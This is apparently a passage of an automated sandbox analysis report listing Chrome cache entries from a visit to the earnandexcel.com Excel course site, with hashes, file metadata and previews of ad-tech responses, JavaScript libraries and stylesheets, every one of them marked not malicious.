2sectioncat%22%3A%5B%22IAB9%22%5D%2C%22pagecat%22%3A%5B%22IAB9%22%5D%2C%22page%22%3A%22https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F%22%2C%22ref%22%3A%22https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701%22%2C%22mobile%22%3A1%2C%22privacypolicy%22%3A1%2C%22content%22%3A%7B%22cat%22%3A%5B%22IAB9%22%5D%2C%22language%22%3A%22en%22%2C%22data%22%3A%5B%7B%22name%22%3A%22gumgum.com%22%2C%22ext%22%3A%7B%22segtax%22%3A2%7D%2C%22segment%22%3A%5B%7B%22id%22%3A%22132%22%7D%5D%7D%5D%7D%2C%22keywords%22%3A%22course%2Cearn%2Cstudent%2Cminute%2Ccommitment%2Cvideo%20lesson%2Ctraining%20dashboard%2Cskill%2Cday%2Cmultiple%20currency%2Cworld%2Cmy%20training%2Cremittance%2Ctransfer%2Cdebit%20card%22%2C%22ext%22%3A%7B%7D%7D%7D%7D&schain=1.0%2C1!mediavine.com%2Ca6b3ff189247621e2e58a04c0b9bf64b%2C1%2C%2C%2C&gpp=DBABzw~1---~BqgAAAAAAgA&sm=b3b84b5b-5556-4cb7-9339-43a43ae9e184&pubid=38918095-8e45-4332-88bf-226b3514cb64&gdpre=0&gdprl=%7B%22status%22%3A%22explicit-no-gdpr%22%2C%22enabled%22%3Afalse%7D
Preview:	apstag.punt({"cb":"0"})

Chrome Cache Entry: 854

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.247548241669875
Encrypted:	false
SSDEEP:	3:YAQ2qSABLpF2yh26RrU/qAwqSABHY:YAQV9pF2x6YxY
MD5:	6A9CA355F8CBE556999E1D90DE9D39E3
SHA1:	917477722E600955AE9CCAF8FCD1DB446DB3F042
SHA-256:	566C28DE671DDA53FA3C8742171D876B8A48A28D68DDFEFFA615A47527A5DC8A
SHA-512:	B643EDCCCCF69C7322A1677157428892F79A8A9DB1CE4E86316BB43111E9CBEC1CA5EA85E79A4230A17775309FE8A605D271A21F223BAB409F78E33CE0C8C6A1
Malicious:	false
Reputation:	low
Preview:	{"error": "Method not allowed.", "statusCode": 405, "statusMessage": "method not allowed"}

Chrome Cache Entry: 855

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10544)
Category:	downloaded
Size (bytes):	10682
Entropy (8bit):	5.103165363656437
Encrypted:	false
SSDEEP:	192:4ASLFBb5B1tkej/q9bPcahsL3SaDY+Nhm4isuSnFqk+n0eH6RxljwNyJJN+fwrE:EXnTj/q9b0auiGYchm5suUqkG6v6UUfL
MD5:	4EEE50AC6F4F364BA3A284D0753DDAE3
SHA1:	A8E7E824E6824AE0B370FF36E2C07CA07276FAE0
SHA-256:	B936DB5880AA9B6B2F26A8D32FC2B689FB75F69D971B94194F16DBA801221FFE
SHA-512:	AD7154338F51A1FD2745D1321412F1D418B76CD99F8B439E5ECBD8CDAA7AC09355EE30D4F26044988ACD739BA8B059CA91316798CB0E9B6432D86F006AD49B02
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js
Preview:	/! dialogs-manager v4.9.0 \| (c) Kobi Zaltzberg \| https://github.com/kobizz/dialogs-manager/blob/master/LICENSE.txt. 2021-08-15 18:13 /.!function(p,t){"use strict";var y={widgetsTypes:{},createWidgetType:function(t,e,n){n=n\|\|this.Widget;function i(){n.apply(this,arguments)}var o=i.prototype=new n(t);return o.types=o.types.concat([t]),p.extend(o,e),(o.constructor=i).extend=function(t,e){return y.createWidgetType(t,e,i)},i},addWidgetType:function(t,e,n){return e&&e.prototype instanceof this.Widget?this.widgetsTypes[t]=e:this.widgetsTypes[t]=this.createWidgetType(t,e,n)},getWidgetType:function(t){return this.widgetsTypes[t]}};y.Instance=function(){var n=this,e={},i={};this.createWidget=function(t,e){t=new(y.getWidgetType(t))(t);return t.init(n,e=e\|\|{}),t},this.getSettings=function(t){return t?i[t]:Object.create(i)},this.init=function(t){return p.extend(i,{classPrefix:"dialog",effects:{show:"fadeIn",hide:"fadeOut"}},t),e.body=p("body"),n},n.init()},y.Widget=function(n){function e(t,e){var

Chrome Cache Entry: 856

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	236
Entropy (8bit):	4.882858984830836
Encrypted:	false
SSDEEP:	3:gH//CQLDUfMHFFjuVCbF/FOiteVwOEjNAUlI1iCNRUiXLSgEGITyMfQI9kFNBWvX:iUEfIYFTeV27RYtLSYu3QIEY+OvXlb
MD5:	25E22EA266BAF603F9E7114F62B71088
SHA1:	AA49A102A1CF14225EDF51722303719514329476
SHA-256:	86918397229A2D103BED8B9A5454EEAD6F91BE8AFE325AE4936F08F4C510FD2B
SHA-512:	413FCFBAA6CF90808C843724D0A5F364BE0FD081C31199AA92CE8F8A4CCDA58E549A736069B2FDD181DC1CA902A37DD16050F6FCDE2412913A55091573C8FF86
Malicious:	false
Reputation:	low
URL:	https://exchange.journeymv.com/usersync/sync?p=[]&mv_uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&version=invalidate-verizon-pushes
Preview:	<script>. window.parent.postMessage({. message: 'syncUrls',. tokens: {"mv_uuid":"3a6574e0-f84a-11ee-a9d1-333cefc92741","version":"invalidate-verizon-pushes"},. syncUrls: []. }, "undefined"). </script>

Chrome Cache Entry: 857

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
URL:	https://lexicon.33across.com/v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 858

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	109577
Entropy (8bit):	6.0383061504073865
Encrypted:	false
SSDEEP:	1536:GR3+oV/DC5xvWyWTfEX19k5DJ5J4qCH6zlH1K4RqAZ:MBN0k5VEqCH6zlH1K4RqAZ
MD5:	F0B9C0523A79B8CC6B0D808CE1990F17
SHA1:	6B184E4294EE8486E3375C9849FD0E6150E47C99
SHA-256:	CFA2674700941011D3AD5CC248259BCC1F7B59DC7CCCEF3EF3DFC3550FE03577
SHA-512:	122BFA116D6E22F24870D77E9D0346077AE5F208AFB14DDD247A7486B43336CB2DCB43CDB3DB88FA34A2EC952FB7027852ADA3C04BE2E0147FF6C565C447EB0B
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=3430560819437671&correlator=350468155671428&eid=31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202404080101&ptt=17&impl=fifs&us_privacy=1---&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=1030006%3A22952122961%2Cearnandexcel%2Cuniversal_player%2Cadhesion&enc_prev_ius=%2F0%2F1%2F2%2C%2F0%2F1%2F3&prev_iu_szs=1x1%7C300x250%2C728x90%7C970x90%7C468x60%7C320x100&ifi=1&sfv=1-0-40&fsbs=1%2C1&eri=1&sc=1&cookie=ID%3D8a0ee16c5b8d85bd%3AT%3D1712870830%3ART%3D1712870830%3AS%3DALNI_MaRxhIIaXODoguqoDjrbR4iu0e74A&gpic=UID%3D00000ddd464f271e%3AT%3D1712870830%3ART%3D1712870830%3AS%3DALNI_MYajHX718Orf8IwXazuxH_rVtlHnw&abxe=1&dt=1712870846017&lmt=1712321582&adxs=965%2C-12245933&adys=907%2C-12245933&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1&ucis=1%7C2&oid=2&u_his=2&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=120&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0.&uas=3&url=https%3A%2F%2Fearnandexcel.com%2F%23&vis=1&psz=300x-1%7C728x-1&msz=300x-1%7C0x-1&fws=512%2C640&ohw=0%2C0&ga_vid=668614997.1712870801&ga_sid=1712870846&ga_hid=143523420&ga_fc=true&td=1&topics=3&tps=3&htps=10&a3p=EhkKCnVpZGFwaS5jb20YrIu6-OwxSABSAghkEj8KCmFtYXpvbi5jb20SKDdib0RSZ2lKRkR5QWIwem5JUEo5NlA2b3VTZGFEY2pDeU9nS3BBPT0Ykru6-OwxSAASwgEKCHJ0YmhvdXNlEqwBTmZqSFA2ZXFuU1dsY295THFLL0ZIcGRvdUMzYjYwUjZmR1lYRzNFSXM1Y1BQTWc3REtIU2h1dGtEcjRYWmJQeDducHNUV293TDZNYU5IY3dWdWliRHhEV1IrUU9CdG1HL2UzM1ZHQ0VHd3Q5UzVvRXlkQ1gxMGtIcUFvbFlObGFGcDVIQXlhWStWRm5CYkRmT01kUVJZZWJBTTcvcUNYWmkzbDBPbk5qTDBRPRj-trr47DFIABLWAQoOZXNwLmNyaXRlby5jb20SugE3b2RQYVY5T01UVTNXRzFOYWs1WGVISkNTMVEwZWpsTFdWRjJObTVYWnpreFNqQXdSSFJRY3prd1VVRkljMll4WjBGcGNETklkM05PYlZaaWJVUm9ZbXBKVlhJNVVHdHNOVlJSWlc4MFVDVXlSa3BpUlNVeVJrTnJjRk5TYkRRMFkxUk9la3A0UXpsU1NHczFRMGxTT1doTmR6RllVMDltUVcweVkxQWxNa0pMUkZSa2NuQnNNMDlUV2cYgay6-OwxSAASPgoFb3BlbngSLGV5SnBJam9pVW5Wc1VFOXlLMU5VWVVkblEwaGlOSFkxYmt4R1VUMDlJbjA9GM7LuvjsMUgA&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1712870840306&idt=4283&ppid=eff4865419574f0d5e447146bd7242ddd5fbec59aed5c8e38b3fd6d36a2613c1&prev_scp=hb_bidder%3Dmediagrid_s2s%26hb_adid%3D25a8635942a9dc%26hb_pb%3D1.85%26hb_sdef_set%3D0.978628354491%26hb_bid%3D1.85%26hb_bsbid%3D1.8452672536319998%26hb_safeframe%3D0%26hb_s2sBidder%3Dmediagrid%26hb_liv%3Dstickyout_1%26hb_ub%3D1.85%26hb_size%3D300x169%26hb_cache_host%3Dvideo-cache.mediavine.com%26sales_cat%3D132%26sales_safety%3DGGT0%26sales_kw%3Dearn%252Cprofessionals%252Cexcel%252Cskills%252Cvba%2520course%252Cskill%252Cmarketing%252Cgame%2520changer%252Cpowerpoint%2520lesson%252Ccomplete%2520package%252Cability%252Cprofessional%252Corder%26sales_segment%3DGumGum%2520Verity%2520Seasonal%2520-%2520Fathers%2520Day%252CGumGum%2520Verity%2520Seasonal%2520Segment%2520-%2520Back%2520to%252CGumGum%2520Verity%2520Seasonal%2520-%2520Mothers%2520Day%26partnerLift%3DmediagridE0M2%26slot_id%3DuniversalPlayer%26hb_count%3D4%26hb_pmp%3D0%26UR%3D185%26URP%3D230%26OE%3D0%26google%3D0%26native%3D0%26slot_number%3D1%26slot%3DuniversalPlayer%26arrival%3D0%26refresh%3D0%26sspm%3D1%26bidFloor%3D0.23%26ccpa%3D1---%26timeout%3Duniversal_player_atf_d_2301%26gid%3D0%26inview%3D0%26adomain%3Dpoise.com%26grow_state%3D4%26grow_version%3D7.239.1%26dsp_id%3D16%263pc%3D1%26illr%3D0%26gpp%3D0-0-0%26pair_id%3D0%26deprecationLabel%3Dna%7Chb_bidder%3Dyieldmo_s2s%26hb_adid%3D273e92caed84755%26hb_pb%3D0.87%26hb_sdef_set%3D0.978628354491%26hb_bid%3D0.87%26hb_bsbid%3D0.8659771559999999%26hb_safeframe%3D0%26hb_s2sBidder%3Dyieldmo%26hb_liv%3D4%26hb_ub%3D0.87%26hb_size%3D728x90%26hb_pb_rubicon%3D0.56%26hb_pb_triplelift%3D0.39%26hb_pb_mediagrid_s2s%3D0.57%26hb_pb_yieldmo_s2s%3D0.86%26hb_pb_sovrn_s2s%3D0.50%26sales_cat%3D132%26sales_safety%3DGGT0%26sales_kw%3Dearn%252Cprofessionals%252Cexcel%252Cskills%252Cvba%2520course%252Cskill%252Cmarketing%252Cgame%2520changer%252Cpowerpoint%2520lesson%252Ccomplete%2520package%252Cability%252Cprofessional%252Corder%26sales_segment%3DGumGum%2520Verity%2520Seasonal%2520-%2520Fathers%2520Day%252CGumGum%2520Verity%2520Seasonal%2520Segment%2520-%2520Back%2520to%252CGumGum%2520Verity%2520Seasonal%2520-%2520Mothers%2520Day%26partnerLift%3DmediagridE0M2%26slot_id%3Dadhesion_desktop%26hb_count%3D5%26hb_pmp%3D0%26UR%3D87%26URP%3D138%26OE%3D0%26google%3D1%26native%3D1%26slot_number%3D1%26slot%3Dadhesion_desktop%26arrival%3D0%26refresh%3D0%26sspm%3D1%26bidFloor%3D0.23%26ccpa%3D1---%26psa%3D6%2C12%2C3%26timeout%3Dadhesion_atf_d_2801%26gid%3D0%26inview%3D0%26adomain%3Dmonday.com%26grow_state%3D4%26grow_version%3D7.239.1%26dsp_id%3D2742174208444549125%263pc%3D1%26illr%3D0%26gpp%3D0-0-0%26pair_id%3D0%26deprecationLabel%3Dna&cust_params=page_url%3Dhttps%253A%252F%252Fearnandexcel.com%252F%26site%3Dearn-and-excel%26path%3D%252F%26secure%3D1%26sessiondepth%3D2%26optout%3D%26categories%3Dhobbies-and-interests%26generator%3Dweb%26bucket%3D96%26referrer_url%3DDIRECT%26utm_source%3D%26utm_campaign%3D%26dow%3D4%26day%3D11%26month%3D4%26hour%3D21%26wrapper_group%3D3.1.3%26wswy%3D0%26sessionId%3D668614997%26page_view_id%3D1202010d1c1e0x1d03050d0g081p0w1k%26groupm%3D1%26browser%3DChrome%26os%3DWindows%26lang%3Den-US%26s2sVersion%3Dproduction&adks=2810285289%2C1212450974&frm=20&eo_id_str=ID%3D8ff43e4a956f97e9%3AT%3D1712870830%3ART%3D1712870830%3AS%3DAA-Afjb7kQWA50nHz8zp6GRRTp6o
Preview:	{"/1030006/earnandexcel/universal_player":["html",1,null,null,1,1,1,0,0,null,null,null,1,null,[138346783894],[5755543802],[5010209892],[2843968966],null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGskpuZX-XUiYreiPdhy0IqXnVzL-UxKIU65arr6EwtGuk8uALvYppxilfcJKupMnxHPdfoITXuvpo7BkOg-I56Q","CNKNspONu4UDFS8sswAdooYBwQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qP3lciaUehRXm_It8FGu0Rz9RI94nCb-Pv77nUtGOtdeRnxMjtJirzwmDoLOwbeqndVCRn1aEyKFPeC",null,null,null,null,null,null,null,[]]}.<!doctype html><html><head><script>var inDapIF=true,inGptIF=true;</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240409" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">

Chrome Cache Entry: 859

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2422), with no line terminators
Category:	downloaded
Size (bytes):	2422
Entropy (8bit):	5.849809499120851
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqe3q7SWWdCC6jykt08xCuRTzMiWpQBibwKYD6:wsbSUtJfxrqLWWWdV6j1d7Rwp2EMu
MD5:	FFE485C68448A0A6DF28FA20281D4E91
SHA1:	7104EE20462050EF581BD1EC4870435BA9A8938D
SHA-256:	B5DAF2310CCA803E172D7CEC3D4BE085092D097E97B3E0CB01C9DAB2A6EA4A07
SHA-512:	C5D746E979C29A6EE69422D54BE0D699B8AFE0D50A2A16C35DD7757104389CF64FFE32999D685BF88DBD53DEABF27472E273E99247A674D5E4014A39AF3D5123
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/416707819/?random=1712870884079&cv=11&fst=1712870884079&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F&ref=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&hn=www.googleadservices.com&frm=0&tiba=Online%20Microsoft%20Excel%20Power%20Query%20Course%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

Chrome Cache Entry: 860

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2714), with no line terminators
Category:	downloaded
Size (bytes):	2714
Entropy (8bit):	4.972379482060203
Encrypted:	false
SSDEEP:	24:zEJiJOKq3JpJ9tJitJYJhJwYhex1aNpQj5IuMNtefSfdrcCTeQKUHWWWONuoAh3N:zQi1aE5qs69S5GjAFfJpK17f2p/CE
MD5:	087102ECB9F9971D052FDDC91ECC63E9
SHA1:	7C487378BBE1F0F48DABA4B006FCF55A2D1F9033
SHA-256:	3EE638689E343730A82027D03714F274B6C665CF7E3BF60B5208A3A0CDB3581D
SHA-512:	6C286292DEC88B7FB7992305C8AD1BB3823C78CEA1F4CB0F12B5B190BA74A97ED6E08E3A9617F3EFD7B9686282EF365C613F70F91B8FB8A01E3216FF32467872
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/css/dist/block-library/theme.min.css
Preview:	#start-resizable-editor-section{display:none}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{font-family:Menlo,Consolas,monaco,monospace;color:#1e1e1e;padding:.8em 1em;border:1px solid #ddd;border-radius:4px}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-pullquote{border-top:4px solid;border-bottom:4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}.wp-bloc

Chrome Cache Entry: 861

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65495)
Category:	downloaded
Size (bytes):	210609
Entropy (8bit):	5.113935879175182
Encrypted:	false
SSDEEP:	1536:9pJOoOYWxuY++npUEJAWSnnJ8erKz9EQ/yQTD/c52Xhr+f0h02C/ZlL+sLOIjZQk:Frjq/cUrXm2cZlLxIE
MD5:	3F83307156852975D03DE171F6F84794
SHA1:	E3E96F63936DB62EE1DC48045610E413EAD0CD3E
SHA-256:	2689316137C2055AAF8136B9FB9C8A4FAC1A636ADE6BF997BE4F1F0523326DDD
SHA-512:	97CF4BC65D59F65BC1B8F552A118BBEC3BAB946B924EBB5B01BBD75FD4E0AA6087366F37DB221883B45E9B61D7D8ED2AA4768A2056E5E8B0270AF4B9A553F507
Malicious:	false
Reputation:	low
URL:	https://f.vimeocdn.com/p/4.29.4/css/player.css
Preview:	/* VimeoPlayer - v4.29.4 - 2024-04-11 */.@keyframes buffer{100%{transform:translateX(-10px)}}@-moz-keyframes bufferLeft{0%{left:0}100%{left:-10px}}@keyframes throb{0%,100%{background-color:#555}50%{background-color:#444}}@keyframes wiggle{0%{transform:translateY(10px)}20%{transform:translateY(0)}40%,80%{transform:translateX(8px)}60%{transform:translateX(-8px)}100%{transform:translateX(0)}}@keyframes pulse{50%{transform:scale(.9)}}@keyframes dash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:89,200;stroke-dashoffset:-35px}100%{stroke-dasharray:89,200;stroke-dashoffset:-135px}}@keyframes rotate{100%{transform:rotate(360deg)}}:fullscreen-ancestor>:not(:fullscreen-ancestor):not(:fullscreen){display:none!important}body:not(.showfocus) .player a,body:not(.showfocus) .player button,body:not(.showfocus) .player li,body:not(.showfocus) .player span,body:not(.showfocus) .player svg{outline:0!important}body:not(.showfocus) .player input{outline:0}.vp-center{display:flex;align

Chrome Cache Entry: 862

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1179
Entropy (8bit):	7.719766513943551
Encrypted:	false
SSDEEP:	24:3U4aEO8XGnw47/ri0673MZp9cJpzC20PcJWZnHBJ5FSGPSXo:3iEXGb/riD7w9IpO30Jen9FSG6Xo
MD5:	22A87B5E26F8C05797CFB26CAC793187
SHA1:	C8B901E1D0857E00866517AD70CFE09467DED67B
SHA-256:	FB15375338D26F6762665B0FEB6A062D7854936ECCD588213199E189F19DB17B
SHA-512:	D8F3C27FEFB32A7EA76D3F8336C2830AC24E929428D5AA0D2F29FB3455E139B067B810E97B3E23BAD7CCA0330D495CB96523D0CC59B3674E424645DA98EEEF86
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W......bIDATx..[lTE..W.$^..Hw..Y..B......x..QcX{..].i........"1.o..1.jL...u.lQb..>HL.&j./......?.m.g!......9sf..ofg..d.....V....k....c\.Xm$-.<V..@.o....H.^.3..t..u....pT.l.....j...T......%.....7..[.U.r.0.......a..1..KF.zA......'...g`Z{.^...:.:...\|~..n..3.....<.... ....T..k..%.#...x...q..B.5@.CJ.xza.k.K..L.7.I../..".i.....x}..B{.......T.n... T..@...mh..+..2...0..u.7...8.N~./.&:.z.....g._%....@....+l...b. ...MK.\|...Ij.h.h......p...i......N..T..q..\,Q6.L.O....tp.\|o...w.f.2.s.T....E. e.1...k%..s.......qw..9....fv.....c....~...6N......+...'.6...[..b.BM.y......\5.y,.b.....a.........q$e........<W..(..R..5.L/..<.........L....h...~\......g....5......p6.......1..8.V...'.....!D.PL.........r...\|...Z..I<.e.L<@..u....\|.Pyt)..0H..<..Y.l...0.....A.x"..$.........S.N.k..`.r.....]Z.....x..w.l./.kJ.AA....d...Y....]...J.....{...H....z.x..F.QB.^m.....m.6@K....2....7.."]@...-Z.k.^.4.9...E%<4.D...6..F2....\|Gb.......`...mH.b...g.. W9^L2.$.i+...b.z

Chrome Cache Entry: 863

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (985)
Category:	downloaded
Size (bytes):	1179
Entropy (8bit):	5.162194638401162
Encrypted:	false
SSDEEP:	24:N+oTAgbJBaIYJx5j3JrtcARrAlNDlKZpEXB3n:NZaf3tAlR33
MD5:	4CC86D1003C45134D6838F13E3885DB1
SHA1:	7E24D802FA52DB547E437A5D92F21932BB858993
SHA-256:	196BED4FAF0FE38B89A496B1F41319B2A8077263F85819F8AD42933E0A2E2E52
SHA-512:	EE792251931FEB5C09EFCDBE79229B8E3C5CC88A920392A92B78F70D27FA8D8DDFD4A1B976BAF52FFFBB270F46A144CF74B3795B82AE7A513B439FCC6B970952
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/jquery.ui.touch-punch.js
Preview:	/!. jQuery UI Touch Punch 0.2.2. . Copyright 2011, Dave Furfero. * Dual licensed under the MIT or GPL Version 2 licenses.. . Depends:. * jquery.ui.widget.js. * jquery.ui.mouse.js. */.(function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a\|\|!f._mouseCapture(g.originalEvent.changedTouches[0])){return}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown")};c._touchMove=function(f){if(!a){return}this._touchMoved=true;d(f,"mousemove")};c._touchEnd=function(f){if(!a){return}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click")}a=false};c._mouseInit=

Chrome Cache Entry: 864

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 865

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	10198
Entropy (8bit):	5.2820860580049045
Encrypted:	false
SSDEEP:	192:To5msb3ZbL8I712wp4NaBOvTQqTqR34cgFDvHtx9Ng9U7v:dsb3ZbLn712qstfDvHtx9Ng9U7v
MD5:	B5DAC75108E27B15E3A0505FDF39D4A6
SHA1:	711D8657E84B694373886A7ECEC565854B31A496
SHA-256:	584D623EC3125BFC106A88A57BFCCB15FAF6EC72547191F81B894612AD910CC1
SHA-512:	10E3759963069390253E5DC02BE9B518B3F78BDF7776517C144D3F2458A46A4C3888720B3684B95D6E0D6D9D45DCDE318C613867D0E3331EF3C63F789BBA0FCC
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/dist/i18n.min.js
Preview:	/! This file is auto-generated /.this.wp=this.wp\|\|{},this.wp.i18n=function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var 